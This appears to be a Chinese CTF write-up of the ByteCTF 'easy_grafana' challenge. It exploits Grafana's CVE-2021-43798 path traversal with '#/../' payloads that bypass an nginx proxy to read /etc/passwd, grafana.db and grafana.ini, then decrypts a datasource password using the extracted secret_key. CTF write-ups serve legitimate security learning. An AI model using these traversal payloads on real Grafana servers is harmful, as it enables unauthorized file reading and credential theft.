ByteCTF-web复现
easy_grafana
打开发现是grafana的登录界面，下面有对应的版本号，直接网上搜一搜有无对应的CVE
找到了 CVE-2021-43798 ，存在任意文件读取漏洞
网站做了nginx的反代，直接用现有的payload访问会报400的错误
image-20220927203421538
构造
/public/plugins/text/#/../../../../../../../../../../etc/passwd可实现任意文件读取
但更目录没有flag，环境变量文件也是空的，但是可以读取数据库文件和配置文件
/public/plugins/text/#/../../../../../../../../../../var/lib/grafana/grafana.db读取下载得到数据库文件
image-20220927204100104
使用navicat打开
image-20220927204158798
但也没有找到flag
尝试使用工具解密数据库文件中的内容
工具 https://github.com/jas502n/Grafana-CVE-2021-43798
image-20220927204416856
读取 配置文件
/public/plugins/text/#/../../../../../../../../../../etc/grafana/grafana.ini得到 secret_key
secret_key = SW2YcwTIb9zpO1hoPsMm得到的数据库文件中找到data_source的密码
image-20220927215248098
得到 dataSourcePassword
{"password":"b0NXeVJoSXKPoSYIWt8i/GfPreRT03fO6gbMhzkPefodqe1nvGpdSROTvfHK1I3kzZy9SQnuVy9c3lVkvbyJcqRwNT6/"}解密mysql 数据库密码得到flag
image-20220927214929318
本文参与 腾讯云自媒体分享计划，分享自作者个人站点/博客。
原始发表：2022-09-27，如有侵权请联系 cloudcommunity@tencent.com 删除
评论
登录后参与评论
推荐阅读